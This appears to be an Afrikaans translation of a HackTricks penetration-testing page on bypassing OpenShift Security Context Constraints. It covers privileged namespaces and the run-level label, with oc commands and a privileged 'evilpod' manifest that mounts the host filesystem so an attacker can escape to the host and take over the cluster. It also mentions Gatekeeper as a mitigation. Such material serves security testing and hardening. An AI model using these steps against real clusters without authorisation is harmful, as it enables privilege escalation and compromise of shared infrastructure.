HackTricks TrainingTwitterLinkedinSponsor

OpenShift - SCC bypass

Die oorspronklike skrywer van hierdie bladsy is Guillaume

Bevoorregte Naamruimtes

Standaard is SCC nie van toepassing op die volgende projekte nie:

  • standaard

  • kube-stelsel

  • kube-publiek

  • openshift-node

  • openshift-infra

  • openshift

As jy bakkies in een van hierdie naamruimtes ontplooi, sal geen SCC afgedwing word nie, wat die ontplooiing van bevoorregte bakkies of die koppel van die gasheer se lêersisteem moontlik maak.

Naamruimte-etiket

Daar is 'n manier om die toepassing van die SCC op jou bakkie te deaktiveer volgens die RedHat-dokumentasie. Jy sal ten minste een van die volgende toestemmings nodig hê:

  • Skep 'n Naamruimte en Skep 'n Bakkie in hierdie Naamruimte

  • Wysig 'n Naamruimte en Skep 'n Bakkie in hierdie Naamruimte

$ oc auth can-i create namespaces
yes

$ oc auth can-i patch namespaces
yes

Die spesifieke etiket openshift.io/run-level stel gebruikers in staat om SCCs vir toepassings te omseil. Volgens RedHat-dokumentasie, wanneer hierdie etiket gebruik word, word geen SCCs afgedwing op alle peule binne daardie naamruimte nie, wat effektief enige beperkings verwyder.

Voeg Etiket By

Om die etiket in jou naamruimte by te voeg:

$ oc label ns MYNAMESPACE openshift.io/run-level=0

Om 'n naamspasie met die etiket te skep deur 'n YAML-lêer:

apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0

Nou moet alle nuwe peule wat geskep word in die naamspasie geen SCC hê nie

$ oc get pod -o yaml | grep 'openshift.io/scc'
$

In die afwesigheid van SCC is daar geen beperkings op jou peuldefinisie nie. Dit beteken dat 'n skadelike peul maklik geskep kan word om te ontsnap na die gasheerstelsel.

apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:

Nou is dit makliker om voorregte te eskaleer om toegang tot die gasheerstelsel te verkry en gevolglik die hele groep oor te neem, deur 'cluster-admin' voorregte te verkry. Soek na die Node-Post Exploitation gedeelte op die volgende bladsy:

Attacking Kubernetes from inside a Pod

Aangepaste etikette

Verder, gebaseer op die teikensetup, kan sommige aangepaste etikette / annotasies op dieselfde manier as die vorige aanvalscenario gebruik word. Selfs al is dit nie daarvoor bedoel nie, kan etikette gebruik word om toestemmings te gee, te beperk of nie 'n spesifieke hulpbron te beperk nie.

Probeer om na aangepaste etikette te soek as jy sommige hulpbronne kan lees. Hier is 'n lys van interessante hulpbronne:

  • Pod

  • Implementering

  • Naamspasie

  • Diens

  • Roete

$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5

Lys van alle bevoorregte namespaces

$ oc get project -o yaml | grep 'run-level' -b5

Gevorderde uitbuiting

In OpenShift kan die toestemming om 'n houer in 'n naamspasie met die openshift.io/run-level etiket te ontplooi, soos vroeër gedemonstreer, lei tot 'n reguit oorneem van die groep. Vanuit 'n groepinstellingsperspektief kan hierdie funksionaliteit nie afgeskakel word nie, aangesien dit inherent is aan OpenShift se ontwerp.

Nietemin kan maatreëls vir verligting soos Open Policy Agent GateKeeper voorkom dat gebruikers hierdie etiket instel.

Om GateKeeper se reëls te omseil en hierdie etiket in te stel om 'n groepsoorneem uit te voer, sal aanvallers alternatiewe metodes moet identifiseer.

Verwysings

PreviousOpenShift - Tekton

Last updated